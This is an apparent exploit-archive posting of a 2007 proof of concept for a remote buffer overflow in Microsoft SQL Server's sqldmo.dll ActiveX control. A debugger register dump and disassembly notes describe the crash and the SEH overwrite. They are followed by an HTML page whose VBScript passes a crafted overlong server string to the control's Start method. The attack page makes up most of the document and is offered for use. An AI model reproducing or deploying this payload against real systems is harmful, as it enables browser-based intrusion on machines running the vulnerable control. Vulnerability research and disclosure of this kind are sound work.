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mssql-overflow.txt

Posted on 08 September 2007

<!--
18.48 01/09/2007
Microsoft SQL Server Distributed Management Objects OLE DLL for
SQL Enterprise Manager (sqldmo.dll) remote buffer overflow poc

file version: 2000.085.2004.00
product version: 8.05.2004

passing some fuzzy chars to Start method:

EAX 00000000
ECX 00620062
EDX 00620062
EBX 1C3A3638 SQLDMO.1C3A3638
ESP 0013D87C
EBP 0013DAA8
ESI 03042544
EDI 0013DAA0 ASCII "|T"
EIP 1C1C9800 SQLDMO.1C1C9800

...
1C1C97EA   8D8D E4FDFFFF    LEA ECX,DWORD PTR SS:[EBP-21C]
1C1C97F0   51               PUSH ECX
1C1C97F1   8B95 E0FDFFFF    MOV EDX,DWORD PTR SS:[EBP-220]
1C1C97F7   8B02             MOV EAX,DWORD PTR DS:[EDX]
1C1C97F9   8B8D E0FDFFFF    MOV ECX,DWORD PTR SS:[EBP-220]
1C1C97FF   51               PUSH ECX
1C1C9800   FF90 DC010000    CALL DWORD PTR DS:[EAX+1DC] <--- exception
access violation when reading 000001DC

by manipulating edx you have the first exploitable condition...


also seh is overwritten, then:

EAX 00000000
ECX 00610061
EDX 7C9137D8 ntdll.7C9137D8
EBX 00000000
ESP 0013D4AC
EBP 0013D4CC
ESI 00000000
EDI 00000000
EIP 00610061

object safety report:
RegKey Safe for Script: False
RegKey Safe for Init: False
Implements IObjectSafety: True

means: works according to security settings for the Internet zone
needs Activex "not marked as safe" option set to "ask" or "enabled" (not the predefined one)

rgod.
http://retrogod.altervista.org
-->
<html>
<object classid='clsid:10020200-E260-11CF-AE68-00AA004A34D5' id='SQLServer' /></object>
<script language='vbscript'>

targetFile = "C:ProgrammiMicrosoft SQL Server80ToolsBinnsqldmo.dll"
prototype  = "Sub Start ( ByVal StartMode As Boolean ,  [ ByVal Server As Variant ] ,  [ ByVal Login As Variant ] ,  [ ByVal Password As Variant ] )"
memberName = "Start"
progid     = "SQLDMO.SQLServer"
argCount   = 4

'edx = ecx
edx       ="bb"
seh       ="aa"
StartMode =True
Server    ="http://ZZZZYYYYXXXXWW?WVVVVAAAAAAAAAAAAAAAAAA@AA	es	est	est	es.	testMMMMLLLLKKKJJJJIIIIHH.HGGGGGFFFFEEEEDDDCCCCBBBBAAAA\\\\:#$%AAAABBBBCCCCDD?DEEEEFFFFGGG\:#$%HHHHHIIII	e@st	es	est	est	es.aaaabbbbccccddddeeeeffffgggghhhhiiiiaaaaaaa" + seh + "CCDmmm" + edx + "nnnBBBBAAAAZZ\\\\:#$%YYYYXXXXWWWWVV?VUUUUTTTTSSS\:#$%RRRRRQQQQPP@PPOOONNNNMMMMLLL.KKKKKJJJJIIIIHHHGGGGFFFFEE.EDDDDDCCCCBBBBAAAAAAAAAAAAAAA\\\\:#$%AAAAAAAAAAAAAA?Awwwwvvvvuuu\:#$%	ttttssss
r@rrqqqppppoooo
nn.mmmmmllllkkkkjjjiiiihhhhgg.gfffffeeeeddddcccbbbaaaaAAAA\\\"
Login     ="aaaaaaaa"
Password  ="bbbbbbbb"

SQLServer.Start StartMode ,Server ,Login ,Password

</script>
</html>


original url: http://retrogod.altervista.org/microsoft_sqldmo.html

 

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